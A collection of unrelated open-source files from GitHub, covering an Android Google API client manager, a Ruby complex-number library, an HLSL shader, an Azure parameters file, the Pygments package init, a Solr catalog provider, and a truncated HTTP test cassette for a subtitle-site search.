import com.google.android.gms.common.GooglePlayServicesUtil;
import com.google.android.gms.common.api.Api;
import com.google.android.gms.common.api.GoogleApiClient;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.atomic.AtomicBoolean;
/**
* Handles the lifecycle for the google api client. Also takes care of running submitted tasks
* when the google api client is connected.
*/
public class GoogleApiClientManager implements GoogleApiClient.ConnectionCallbacks, GoogleApiClient.OnConnectionFailedListener {
private final static String TAG = GoogleApiClientManager.class.getSimpleName();
public interface ManagerListener {
void onGoogleApiConnectionError(ConnectionResult result);
void onUnavailableGooglePlayServices(int status);
void onManagerStarted();
void onManagerStopped();
}
/**
* Manager background thread used to run the submitted google api client tasks.
*/
private final Runnable mDriverRunnable = new Runnable() {
@Override
public void run() {
try {
while (isStarted.get()) {
if (!mGoogleApiClient.isConnected()) {
stop();
continue;
}
final GoogleApiClientTask task = mTaskQueue.take();
if (task == null)
continue;
if (task.mRunOnBackgroundThread) {
mBgHandler.post(task);
} else {
mMainHandler.post(task);
}
}
} catch (InterruptedException e) {
Log.v(TAG, e.getMessage(), e);
}
}
};
private final GoogleApiClientTask stopTask = new GoogleApiClientTask() {
@Override
protected void doRun() {
stop();
}
};
private final AtomicBoolean isStarted = new AtomicBoolean(false);
private Thread mDriverThread;
/**
* This handler is in charge of running google api client tasks on the calling thread.
*/
private final Handler mMainHandler;
/**
* This handler is in charge of running google api client tasks on the background thread.
*/
private Handler mBgHandler;
private HandlerThread mBgHandlerThread;
/**
* Application context.
*/
private final Context mContext;
/**
* Handle to the google api client.
*/
private final GoogleApiClient mGoogleApiClient;
private ManagerListener listener;
/**
* Holds tasks that needs to be run using the google api client.
* A background thread will be blocking on this queue until new tasks are inserted. In which
* case, it will retrieve the new task, and process it.
*/
private final LinkedBlockingQueue<GoogleApiClientTask> mTaskQueue = new LinkedBlockingQueue<>();
public GoogleApiClientManager(Context context, Handler handler,
Api<? extends Api.ApiOptions.NotRequiredOptions>[] apis) {
mContext = context;
mMainHandler = handler;
final GoogleApiClient.Builder apiBuilder = new GoogleApiClient.Builder(context);
for (Api<? extends Api.ApiOptions.NotRequiredOptions> api : apis) {
apiBuilder.addApi(api);
}
mGoogleApiClient = apiBuilder
.addConnectionCallbacks(this)
.addOnConnectionFailedListener(this)
.build();
}
public void setManagerListener(ManagerListener listener) {
this.listener = listener;
}
private void destroyBgHandler() {
if (mBgHandlerThread != null && mBgHandlerThread.isAlive()) {
mBgHandlerThread.quit();
mBgHandlerThread.interrupt();
mBgHandlerThread = null;
}
mBgHandler = null;
}
private void destroyDriverThread() {
if (mDriverThread != null && mDriverThread.isAlive()) {
mDriverThread.interrupt();
mDriverThread = null;
}
}
private void initializeBgHandler() {
if (mBgHandlerThread == null || mBgHandlerThread.isInterrupted()) {
mBgHandlerThread = new HandlerThread("GAC Manager Background Thread");
mBgHandlerThread.start();
mBgHandler = null;
}
if (mBgHandler == null) {
mBgHandler = new Handler(mBgHandlerThread.getLooper());
}
}
private void initializeDriverThread() {
if (mDriverThread == null || mDriverThread.isInterrupted()) {
mDriverThread = new Thread(mDriverRunnable, "GAC Manager Driver Thread");
mDriverThread.start();
}
}
/**
* Adds a task to the google api client manager tasks queue. This task will be scheduled to
* run on the calling thread.
*
* @param task task making use of the google api client.
* @return true if the task was successfully added to the queue.
* @throws IllegalStateException is the start() method was not called.
*/
public boolean addTask(GoogleApiClientTask task) {
if (!isStarted()) {
Log.d(TAG, "GoogleApiClientManager is not started.");
return false;
}
task.gApiClient = mGoogleApiClient;
task.taskQueue = mTaskQueue;
task.mRunOnBackgroundThread = false;
return mTaskQueue.offer(task);
}
/**
* Adds a task to the google api client manager tasks queue. This task will be scheduled to
* run on a background thread.
*
* @param task task making use of the google api client.
* @return true if the task was successfully added to the queue.
* @throws IllegalStateException is the start() method was not called.
*/
public boolean addTaskToBackground(GoogleApiClientTask task) {
if (!isStarted()) {
Log.d(TAG, "GoogleApiClientManager is not started.");
return false;
}
task.gApiClient = mGoogleApiClient;
task.taskQueue = mTaskQueue;
task.mRunOnBackgroundThread = true;
return mTaskQueue.offer(task);
}
/**
* @return true the google api client manager was started.
*/
private boolean isStarted() {
return isStarted.get();
}
/**
* Activates the google api client manager.
*/
public void start() {
//Check if google play services is available.
final int playStatus = GooglePlayServicesUtil.isGooglePlayServicesAvailable(mContext);
final boolean isValid = playStatus == ConnectionResult.SUCCESS;
if (isValid) {
//Clear the queue
mTaskQueue.clear();
//Toggle the started flag
isStarted.set(true);
if (mGoogleApiClient.isConnected()) {
onConnected(null);
} else if (!mGoogleApiClient.isConnecting()) {
//Connect to the google api.
mGoogleApiClient.connect();
}
} else {
Log.e(TAG, "Google Play Services is unavailable.");
if (listener != null)
listener.onUnavailableGooglePlayServices(playStatus);
}
}
// private boolean isGooglePlayServicesValid(){
// // Check for the google play services is available
//
// if(!isValid){
// PendingIntent errorPI = GooglePlayServicesUtil.getErrorPendingIntent(playStatus, mContext, 0);
// if(errorPI != null){
// try {
// errorPI.send();
// } catch (PendingIntent.CanceledException e) {
// Log.e(TAG, "Seems the pending intent was cancelled.", e);
// }
// }
// }
//
// return isValid;
// }
/**
* Release the resources used by this manager.
* After calling this method, start() needs to be called again to use that manager again.
*/
private void stop() {
isStarted.set(false);
destroyDriverThread();
destroyBgHandler();
mTaskQueue.clear();
if (mGoogleApiClient.isConnected() || mGoogleApiClient.isConnecting()) {
mGoogleApiClient.disconnect();
}
if(listener != null)
listener.onManagerStopped();
}
public void stopSafely(){
addTask(stopTask);
}
@Override
public void onConnected(Bundle bundle) {
initializeBgHandler();
initializeDriverThread();
if (listener != null)
listener.onManagerStarted();
}
@Override
public void onConnectionSuspended(int i) {
}
@Override
public void onConnectionFailed(ConnectionResult connectionResult) {
if(listener != null)
listener.onGoogleApiConnectionError(connectionResult);
stop();
}
/**
* Type for the google api client tasks.
*/
public static abstract class GoogleApiClientTask implements Runnable {
/**
* If true, this task will be scheduled to run on a background thread.
* Otherwise, it will run on the calling thread.
*/
private boolean mRunOnBackgroundThread = false;
private GoogleApiClient gApiClient;
private LinkedBlockingQueue<GoogleApiClientTask> taskQueue;
protected GoogleApiClient getGoogleApiClient() {
return gApiClient;
}
@Override
public void run() {
if (!gApiClient.isConnected()) {
//Add the task back to the queue.
taskQueue.offer(this);
return;
}
//Run the task
doRun();
}
protected abstract void doRun();
}
}
|
{
"pile_set_name": "Github"
}
|
#
# complex.rb -
# $Release Version: 0.5 $
# $Revision: 1.3 $
# $Date: 1998/07/08 10:05:28 $
# by Keiju ISHITSUKA(SHL Japan Inc.)
#
# ----
#
# complex.rb implements the Complex class for complex numbers. Additionally,
# some methods in other Numeric classes are redefined or added to allow greater
# interoperability with Complex numbers.
#
# Complex numbers can be created in the following manner:
# - <tt>Complex(a, b)</tt>
# - <tt>Complex.polar(radius, theta)</tt>
#
# Additionally, note the following:
# - <tt>Complex::I</tt> (the mathematical constant <i>i</i>)
# - <tt>Numeric#im</tt> (e.g. <tt>5.im -> 0+5i</tt>)
#
# The following +Math+ module methods are redefined to handle Complex arguments.
# They will work as normal with non-Complex arguments.
# sqrt exp cos sin tan log log10
# cosh sinh tanh acos asin atan atan2 acosh asinh atanh
#
#
# Numeric is a built-in class on which Fixnum, Bignum, etc., are based. Here
# some methods are added so that all number types can be treated to some extent
# as Complex numbers.
#
class Numeric
#
# Returns a Complex number <tt>(0,<i>self</i>)</tt>.
#
def im
Complex(0, self)
end
#
# The real part of a complex number, i.e. <i>self</i>.
#
def real
self
end
#
# The imaginary part of a complex number, i.e. 0.
#
def image
0
end
alias imag image
#
# See Complex#arg.
#
def arg
if self >= 0
return 0
else
return Math::PI
end
end
alias angle arg
#
# See Complex#polar.
#
def polar
return abs, arg
end
#
# See Complex#conjugate (short answer: returns <i>self</i>).
#
def conjugate
self
end
alias conj conjugate
end
#
# Creates a Complex number. +a+ and +b+ should be Numeric. The result will be
# <tt>a+bi</tt>.
#
def Complex(a, b = 0)
if b == 0 and (a.kind_of?(Complex) or defined? Complex::Unify)
a
else
Complex.new( a.real-b.imag, a.imag+b.real )
end
end
#
# The complex number class. See complex.rb for an overview.
#
class Complex < Numeric
@RCS_ID='-$Id: complex.rb,v 1.3 1998/07/08 10:05:28 keiju Exp keiju $-'
undef step
undef div, divmod
undef floor, truncate, ceil, round
def Complex.generic?(other) # :nodoc:
other.kind_of?(Integer) or
other.kind_of?(Float) or
(defined?(Rational) and other.kind_of?(Rational))
end
#
# Creates a +Complex+ number in terms of +r+ (radius) and +theta+ (angle).
#
def Complex.polar(r, theta)
Complex(r*Math.cos(theta), r*Math.sin(theta))
end
#
# Creates a +Complex+ number <tt>a</tt>+<tt>b</tt><i>i</i>.
#
def Complex.new!(a, b=0)
new(a,b)
end
def initialize(a, b)
raise TypeError, "non numeric 1st arg `#{a.inspect}'" if !a.kind_of? Numeric
raise TypeError, "`#{a.inspect}' for 1st arg" if a.kind_of? Complex
raise TypeError, "non numeric 2nd arg `#{b.inspect}'" if !b.kind_of? Numeric
raise TypeError, "`#{b.inspect}' for 2nd arg" if b.kind_of? Complex
@real = a
@image = b
end
#
# Addition with real or complex number.
#
def + (other)
if other.kind_of?(Complex)
re = @real + other.real
im = @image + other.image
Complex(re, im)
elsif Complex.generic?(other)
Complex(@real + other, @image)
else
x , y = other.coerce(self)
x + y
end
end
#
# Subtraction with real or complex number.
#
def - (other)
if other.kind_of?(Complex)
re = @real - other.real
im = @image - other.image
Complex(re, im)
elsif Complex.generic?(other)
Complex(@real - other, @image)
else
x , y = other.coerce(self)
x - y
end
end
#
# Multiplication with real or complex number.
#
def * (other)
if other.kind_of?(Complex)
re = @real*other.real - @image*other.image
im = @real*other.image + @image*other.real
Complex(re, im)
elsif Complex.generic?(other)
Complex(@real * other, @image * other)
else
x , y = other.coerce(self)
x * y
end
end
#
# Division by real or complex number.
#
def / (other)
if other.kind_of?(Complex)
self*other.conjugate/other.abs2
elsif Complex.generic?(other)
Complex(@real/other, @image/other)
else
x, y = other.coerce(self)
x/y
end
end
def quo(other)
Complex(@real.quo(1), @image.quo(1)) / other
end
#
# Raise this complex number to the given (real or complex) power.
#
def ** (other)
if other == 0
return Complex(1)
end
if other.kind_of?(Complex)
r, theta = polar
ore = other.real
oim = other.image
nr = Math.exp!(ore*Math.log!(r) - oim * theta)
ntheta = theta*ore + oim*Math.log!(r)
Complex.polar(nr, ntheta)
elsif other.kind_of?(Integer)
if other > 0
x = self
z = x
n = other - 1
while n != 0
while (div, mod = n.divmod(2)
mod == 0)
x = Complex(x.real*x.real - x.image*x.image, 2*x.real*x.image)
n = div
end
z *= x
n -= 1
end
z
else
if defined? Rational
(Rational(1) / self) ** -other
else
self ** Float(other)
end
end
elsif Complex.generic?(other)
r, theta = polar
Complex.polar(r**other, theta*other)
else
x, y = other.coerce(self)
x**y
end
end
#
# Remainder after division by a real or complex number.
#
def % (other)
if other.kind_of?(Complex)
Complex(@real % other.real, @image % other.image)
elsif Complex.generic?(other)
Complex(@real % other, @image % other)
else
x , y = other.coerce(self)
x % y
end
end
#--
# def divmod(other)
# if other.kind_of?(Complex)
# rdiv, rmod = @real.divmod(other.real)
# idiv, imod = @image.divmod(other.image)
# return Complex(rdiv, idiv), Complex(rmod, rmod)
# elsif Complex.generic?(other)
# Complex(@real.divmod(other), @image.divmod(other))
# else
# x , y = other.coerce(self)
# x.divmod(y)
# end
# end
#++
#
# Absolute value (aka modulus): distance from the zero point on the complex
# plane.
#
def abs
Math.hypot(@real, @image)
end
#
# Square of the absolute value.
#
def abs2
@real*@real + @image*@image
end
#
# Argument (angle from (1,0) on the complex plane).
#
def arg
Math.atan2!(@image, @real)
end
alias angle arg
#
# Returns the absolute value _and_ the argument.
#
def polar
return abs, arg
end
#
# Complex conjugate (<tt>z + z.conjugate = 2 * z.real</tt>).
#
def conjugate
Complex(@real, -@image)
end
alias conj conjugate
#
# Compares the absolute values of the two numbers.
#
def <=> (other)
self.abs <=> other.abs
end
#
# Test for numerical equality (<tt>a == a + 0<i>i</i></tt>).
#
def == (other)
if other.kind_of?(Complex)
@real == other.real and @image == other.image
elsif Complex.generic?(other)
@real == other and @image == 0
else
other == self
end
end
#
# Attempts to coerce +other+ to a Complex number.
#
def coerce(other)
if Complex.generic?(other)
return Complex.new!(other), self
else
super
end
end
#
# FIXME
#
def denominator
@real.denominator.lcm(@image.denominator)
end
#
# FIXME
#
def numerator
cd = denominator
Complex(@real.numerator*(cd/@real.denominator),
@image.numerator*(cd/@image.denominator))
end
#
# Standard string representation of the complex number.
#
def to_s
if @real != 0
if defined?(Rational) and @image.kind_of?(Rational) and @image.denominator != 1
if @image >= 0
@real.to_s+"+("+@image.to_s+")i"
else
@real.to_s+"-("+(-@image).to_s+")i"
end
else
if @image >= 0
@real.to_s+"+"+@image.to_s+"i"
else
@real.to_s+"-"+(-@image).to_s+"i"
end
end
else
if defined?(Rational) and @image.kind_of?(Rational) and @image.denominator != 1
"("+@image.to_s+")i"
else
@image.to_s+"i"
end
end
end
#
# Returns a hash code for the complex number.
#
def hash
@real.hash ^ @image.hash
end
#
# Returns "<tt>Complex(<i>real</i>, <i>image</i>)</tt>".
#
def inspect
sprintf("Complex(%s, %s)", @real.inspect, @image.inspect)
end
#
# +I+ is the imaginary number. It exists at point (0,1) on the complex plane.
#
I = Complex(0,1)
# The real part of a complex number.
attr :real
# The imaginary part of a complex number.
attr :image
alias imag image
end
class Integer
unless defined?(1.numerator)
def numerator() self end
def denominator() 1 end
def gcd(other)
min = self.abs
max = other.abs
while min > 0
tmp = min
min = max % min
max = tmp
end
max
end
def lcm(other)
if self.zero? or other.zero?
0
else
(self.div(self.gcd(other)) * other).abs
end
end
end
end
module Math
alias sqrt! sqrt
alias exp! exp
alias log! log
alias log10! log10
alias cos! cos
alias sin! sin
alias tan! tan
alias cosh! cosh
alias sinh! sinh
alias tanh! tanh
alias acos! acos
alias asin! asin
alias atan! atan
alias atan2! atan2
alias acosh! acosh
alias asinh! asinh
alias atanh! atanh
# Redefined to handle a Complex argument.
def sqrt(z)
if Complex.generic?(z)
if z >= 0
sqrt!(z)
else
Complex(0,sqrt!(-z))
end
else
if z.image < 0
sqrt(z.conjugate).conjugate
else
r = z.abs
x = z.real
Complex( sqrt!((r+x)/2), sqrt!((r-x)/2) )
end
end
end
# Redefined to handle a Complex argument.
def exp(z)
if Complex.generic?(z)
exp!(z)
else
Complex(exp!(z.real) * cos!(z.image), exp!(z.real) * sin!(z.image))
end
end
# Redefined to handle a Complex argument.
def cos(z)
if Complex.generic?(z)
cos!(z)
else
Complex(cos!(z.real)*cosh!(z.image),
-sin!(z.real)*sinh!(z.image))
end
end
# Redefined to handle a Complex argument.
def sin(z)
if Complex.generic?(z)
sin!(z)
else
Complex(sin!(z.real)*cosh!(z.image),
cos!(z.real)*sinh!(z.image))
end
end
# Redefined to handle a Complex argument.
def tan(z)
if Complex.generic?(z)
tan!(z)
else
sin(z)/cos(z)
end
end
def sinh(z)
if Complex.generic?(z)
sinh!(z)
else
Complex( sinh!(z.real)*cos!(z.image), cosh!(z.real)*sin!(z.image) )
end
end
def cosh(z)
if Complex.generic?(z)
cosh!(z)
else
Complex( cosh!(z.real)*cos!(z.image), sinh!(z.real)*sin!(z.image) )
end
end
def tanh(z)
if Complex.generic?(z)
tanh!(z)
else
sinh(z)/cosh(z)
end
end
# Redefined to handle a Complex argument.
def log(z)
if Complex.generic?(z) and z >= 0
log!(z)
else
r, theta = z.polar
Complex(log!(r.abs), theta)
end
end
# Redefined to handle a Complex argument.
def log10(z)
if Complex.generic?(z)
log10!(z)
else
log(z)/log!(10)
end
end
def acos(z)
if Complex.generic?(z) and z >= -1 and z <= 1
acos!(z)
else
-1.0.im * log( z + 1.0.im * sqrt(1.0-z*z) )
end
end
def asin(z)
if Complex.generic?(z) and z >= -1 and z <= 1
asin!(z)
else
-1.0.im * log( 1.0.im * z + sqrt(1.0-z*z) )
end
end
def atan(z)
if Complex.generic?(z)
atan!(z)
else
1.0.im * log( (1.0.im+z) / (1.0.im-z) ) / 2.0
end
end
def atan2(y,x)
if Complex.generic?(y) and Complex.generic?(x)
atan2!(y,x)
else
-1.0.im * log( (x+1.0.im*y) / sqrt(x*x+y*y) )
end
end
def acosh(z)
if Complex.generic?(z) and z >= 1
acosh!(z)
else
log( z + sqrt(z*z-1.0) )
end
end
def asinh(z)
if Complex.generic?(z)
asinh!(z)
else
log( z + sqrt(1.0+z*z) )
end
end
def atanh(z)
if Complex.generic?(z) and z >= -1 and z <= 1
atanh!(z)
else
log( (1.0+z) / (1.0-z) ) / 2.0
end
end
module_function :sqrt!
module_function :sqrt
module_function :exp!
module_function :exp
module_function :log!
module_function :log
module_function :log10!
module_function :log10
module_function :cosh!
module_function :cosh
module_function :cos!
module_function :cos
module_function :sinh!
module_function :sinh
module_function :sin!
module_function :sin
module_function :tan!
module_function :tan
module_function :tanh!
module_function :tanh
module_function :acos!
module_function :acos
module_function :asin!
module_function :asin
module_function :atan!
module_function :atan
module_function :atan2!
module_function :atan2
module_function :acosh!
module_function :acosh
module_function :asinh!
module_function :asinh
module_function :atanh!
module_function :atanh
end
# Documentation comments:
# - source: original (researched from pickaxe)
# - a couple of fixme's
# - RDoc output for Bignum etc. is a bit short, with nothing but an
# (undocumented) alias. No big deal.
|
{
"pile_set_name": "Github"
}
|
//-----------------------------------------------------------------------------
// Copyright (c) 2012 GarageGames, LLC
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
//-----------------------------------------------------------------------------
//*****************************************************************************
// Box Filter
//*****************************************************************************
//-----------------------------------------------------------------------------
// Structures
//-----------------------------------------------------------------------------
#include "../ShaderModel.hlsl"
struct VertData
{
float3 position : POSITION;
float2 texCoord : TEXCOORD0;
};
struct ConnectData
{
float4 hpos : TORQUE_POSITION;
float2 tex0 : TEXCOORD0;
};
//-----------------------------------------------------------------------------
// Main
//-----------------------------------------------------------------------------
ConnectData main( VertData IN,
uniform float4x4 modelview : register(C0))
{
ConnectData OUT;
OUT.hpos = mul(modelview, float4(IN.position,1.0));
OUT.tex0 = IN.texCoord;
return OUT;
}
|
{
"pile_set_name": "Github"
}
|
{
"$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentParameters.json#",
"contentVersion": "1.0.0.0",
"parameters": {
"factoryName": {
"value": "akMDWHackBasic"
}
}
}
|
{
"pile_set_name": "Github"
}
|
# -*- coding: utf-8 -*-
"""
Pygments
~~~~~~~~
Pygments is a syntax highlighting package written in Python.
It is a generic syntax highlighter for general use in all kinds of software
such as forum systems, wikis or other applications that need to prettify
source code. Highlights are:
* a wide range of common languages and markup formats is supported
* special attention is paid to details, increasing quality by a fair amount
* support for new languages and formats are added easily
* a number of output formats, presently HTML, LaTeX, RTF, SVG and ANSI sequences
* it is usable as a command-line tool and as a library
* ... and it highlights even Brainfuck!
The `Pygments tip`_ is installable with ``easy_install Pygments==dev``.
.. _Pygments tip: http://dev.pocoo.org/hg/pygments-main/archive/tip.tar.gz#egg=Pygments-dev
:copyright: 2006-2008 by Georg Brandl, Armin Ronacher and others.
:license: BSD, see LICENSE for more details.
"""
__version__ = '1.0'
__author__ = 'Georg Brandl <g.brandl@gmx.net>'
__url__ = 'http://pygments.org/'
__license__ = 'BSD License'
__docformat__ = 'restructuredtext'
__all__ = ['lex', 'format', 'highlight']
import sys, os
from StringIO import StringIO
from cStringIO import StringIO as CStringIO
def lex(code, lexer):
"""
Lex ``code`` with ``lexer`` and return an iterable of tokens.
"""
try:
return lexer.get_tokens(code)
except TypeError, err:
if isinstance(err.args[0], str) and \
'unbound method get_tokens' in err.args[0]:
raise TypeError('lex() argument must be a lexer instance, '
'not a class')
raise
def format(tokens, formatter, outfile=None):
"""
Format a tokenlist ``tokens`` with the formatter ``formatter``.
If ``outfile`` is given and a valid file object (an object
with a ``write`` method), the result will be written to it, otherwise
it is returned as a string.
"""
try:
if not outfile:
# if we want Unicode output, we have to use Python StringIO
realoutfile = formatter.encoding and CStringIO() or StringIO()
formatter.format(tokens, realoutfile)
return realoutfile.getvalue()
else:
formatter.format(tokens, outfile)
except TypeError, err:
if isinstance(err.args[0], str) and \
'unbound method format' in err.args[0]:
raise TypeError('format() argument must be a formatter instance, '
'not a class')
raise
def highlight(code, lexer, formatter, outfile=None):
"""
Lex ``code`` with ``lexer`` and format it with the formatter ``formatter``.
If ``outfile`` is given and a valid file object (an object
with a ``write`` method), the result will be written to it, otherwise
it is returned as a string.
"""
return format(lex(code, lexer), formatter, outfile)
if __name__ == '__main__':
from pygments.cmdline import main
sys.exit(main(sys.argv))
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) Codice Foundation
*
* <p>This is free software: you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation, either version 3 of
* the License, or any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details. A copy of the GNU Lesser General Public
* License is distributed along with this program and can be found at
* <http://www.gnu.org/licenses/lgpl.html>.
*/
package ddf.catalog.source.solr;
import ddf.catalog.data.ContentType;
import ddf.catalog.filter.FilterAdapter;
import ddf.catalog.operation.CreateRequest;
import ddf.catalog.operation.CreateResponse;
import ddf.catalog.operation.DeleteRequest;
import ddf.catalog.operation.DeleteResponse;
import ddf.catalog.operation.QueryRequest;
import ddf.catalog.operation.SourceResponse;
import ddf.catalog.operation.UpdateRequest;
import ddf.catalog.operation.UpdateResponse;
import ddf.catalog.source.CatalogProvider;
import ddf.catalog.source.IngestException;
import ddf.catalog.source.SourceMonitor;
import ddf.catalog.source.UnsupportedQueryException;
import ddf.catalog.util.impl.MaskableImpl;
import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;
import java.util.Set;
import javax.annotation.Nullable;
import org.codice.solr.client.solrj.SolrClient;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/** Common base class for all remote Solr Catalog providers. */
public abstract class RemoteSolrCatalogProvider extends MaskableImpl implements CatalogProvider {
private static final Logger LOGGER = LoggerFactory.getLogger(RemoteSolrCatalogProvider.class);
private static final String DESCRIBABLE_PROPERTIES_FILE = "/describable.properties";
private static final Properties DESCRIBABLE_PROPERTIES = new Properties();
static {
try (InputStream inputStream =
RemoteSolrCatalogProvider.class.getResourceAsStream(DESCRIBABLE_PROPERTIES_FILE)) {
DESCRIBABLE_PROPERTIES.load(inputStream);
} catch (IOException e) {
LOGGER.info("Did not load properties properly.", e);
}
}
protected static final String SOLR_CATALOG_CORE_NAME = "catalog";
private final SolrCatalogProviderImpl provider;
/**
* Constructor.
*
* @param filterAdapter filter adaptor this provider will use
* @param client client this provider will use to connect to Solr
* @param solrFilterDelegateFactory Solr filter delegate factory this provider will use
* @param resolver schema resolver this provider will use. A default schema resolver will be used
* if this parameter is {@code null}.
*/
public RemoteSolrCatalogProvider(
FilterAdapter filterAdapter,
SolrClient client,
SolrFilterDelegateFactory solrFilterDelegateFactory,
@Nullable DynamicSchemaResolver resolver) {
this.provider =
new SolrCatalogProviderImpl(
client,
filterAdapter,
solrFilterDelegateFactory,
(resolver == null) ? new DynamicSchemaResolver() : resolver);
provider.maskId(getId());
}
@Override
public void maskId(String id) {
super.maskId(id);
provider.maskId(id);
}
/**
* Used to signal to the Solr client to commit on every transaction. Updates the underlying {@link
* ConfigurationStore} so that the property is propagated throughout the Solr Catalog Provider
* code.
*
* @param forceAutoCommit {@code true} to force auto-commits
*/
public void setForceAutoCommit(boolean forceAutoCommit) {
ConfigurationStore.getInstance().setForceAutoCommit(forceAutoCommit);
}
@Override
public Set<ContentType> getContentTypes() {
return provider.getContentTypes();
}
@Override
public boolean isAvailable() {
return provider.isAvailable();
}
@Override
public boolean isAvailable(SourceMonitor callback) {
return provider.isAvailable(callback);
}
@Override
public SourceResponse query(QueryRequest queryRequest) throws UnsupportedQueryException {
return provider.query(queryRequest);
}
@Override
public String getDescription() {
return DESCRIBABLE_PROPERTIES.getProperty("description", "");
}
@Override
public String getOrganization() {
return DESCRIBABLE_PROPERTIES.getProperty("organization", "");
}
@Override
public String getTitle() {
return DESCRIBABLE_PROPERTIES.getProperty("name", "");
}
@Override
public String getVersion() {
return DESCRIBABLE_PROPERTIES.getProperty("version", "");
}
@Override
public CreateResponse create(CreateRequest createRequest) throws IngestException {
return provider.create(createRequest);
}
@Override
public DeleteResponse delete(DeleteRequest deleteRequest) throws IngestException {
return provider.delete(deleteRequest);
}
@Override
public UpdateResponse update(UpdateRequest updateRequest) throws IngestException {
return provider.update(updateRequest);
}
/** Shuts down the connection to Solr and releases resources. */
public void shutdown() {
provider.shutdown();
}
}
|
{
"pile_set_name": "Github"
}
|
interactions:
- request:
body: q=Beautiful+People
headers:
Accept: ['*/*']
Accept-Encoding: ['gzip, deflate']
Connection: [keep-alive]
Content-Length: ['18']
Content-Type: [application/x-www-form-urlencoded]
User-Agent: [Subliminal/2.0]
method: POST
uri: http://www.tvsubtitles.net/search.php
response:
body:
string: !!binary |
PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIg
Imh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgoJPGh0
bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFu
Zz0iZW4iPgoJPGhlYWQ+CgoJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRl
dmljZS13aWR0aDsgaW5pdGlhbC1zY2FsZT0xLjAiPgogICA8bWV0YSBodHRwLWVxdWl2PSJjb250
ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KICAgPGxpbmsg
aHJlZj0iZmF2aWNvbi5pY28iIHJlbD0ic2hvcnRjdXQgaWNvbiI+CiAgIDxsaW5rIHJlbD0ic3R5
bGVzaGVldCIgaHJlZj0ic3R5bGUuY3NzIiB0eXBlPSJ0ZXh0L2NzcyIgLz4KICAgPHRpdGxlPlRW
c3VidGl0bGVzLm5ldCAtIFNlYXJjaDwvdGl0bGU+CiAgIDxzY3JpcHQgdHlwZT0ndGV4dC9qYXZh
c2NyaXB0Jz4KdmFyIGdvb2dsZXRhZyA9IGdvb2dsZXRhZyB8fCB7fTsKZ29vZ2xldGFnLmNtZCA9
IGdvb2dsZXRhZy5jbWQgfHwgW107CihmdW5jdGlvbigpIHsKdmFyIGdhZHMgPSBkb2N1bWVudC5j
cmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKZ2Fkcy5hc3luYyA9IHRydWU7CmdhZHMudHlwZSA9ICd0
ZXh0L2phdmFzY3JpcHQnOwp2YXIgdXNlU1NMID0gJ2h0dHBzOicgPT0gZG9jdW1lbnQubG9jYXRp
b24ucHJvdG9jb2w7CmdhZHMuc3JjID0gKHVzZVNTTCA/ICdodHRwczonIDogJ2h0dHA6JykgKwon
Ly93d3cuZ29vZ2xldGFnc2VydmljZXMuY29tL3RhZy9qcy9ncHQuanMnOwp2YXIgbm9kZSA9IGRv
Y3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTsKbm9kZS5wYXJlbnROb2Rl
Lmluc2VydEJlZm9yZShnYWRzLCBub2RlKTsKfSkoKTsKPC9zY3JpcHQ+Cgo8c2NyaXB0IHR5cGU9
J3RleHQvamF2YXNjcmlwdCc+Cmdvb2dsZXRhZy5jbWQucHVzaChmdW5jdGlvbigpIHsKZ29vZ2xl
dGFnLmRlZmluZVNsb3QoJy8xODQ4MTcyNy90dnN1YnRpdGxlcy5uZXQnLCBbNDY4LCA2MF0sICdk
aXYtZ3B0LWFkLTEzNzAxMDkxOTc3NzctMCcpLmFkZFNlcnZpY2UoZ29vZ2xldGFnLnB1YmFkcygp
KTsKZ29vZ2xldGFnLnB1YmFkcygpLmVuYWJsZVNpbmdsZVJlcXVlc3QoKTsKZ29vZ2xldGFnLmVu
YWJsZVNlcnZpY2VzKCk7Cn0pOwo8L3NjcmlwdD4KPGxpbmsgaHJlZj0ibWVkaWEtcXVlcmllcy5j
c3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8IS0tIGh0bWw1LmpzIGZvciBJ
RSBsZXNzIHRoYW4gOSAtLT4KPCEtLVtpZiBsdCBJRSA5XT4KCTxzY3JpcHQgc3JjPSJodHRwOi8v
aHRtbDVzaGltLmdvb2dsZWNvZGUuY29tL3N2bi90cnVuay9odG1sNS5qcyI+PC9zY3JpcHQ+Cjwh
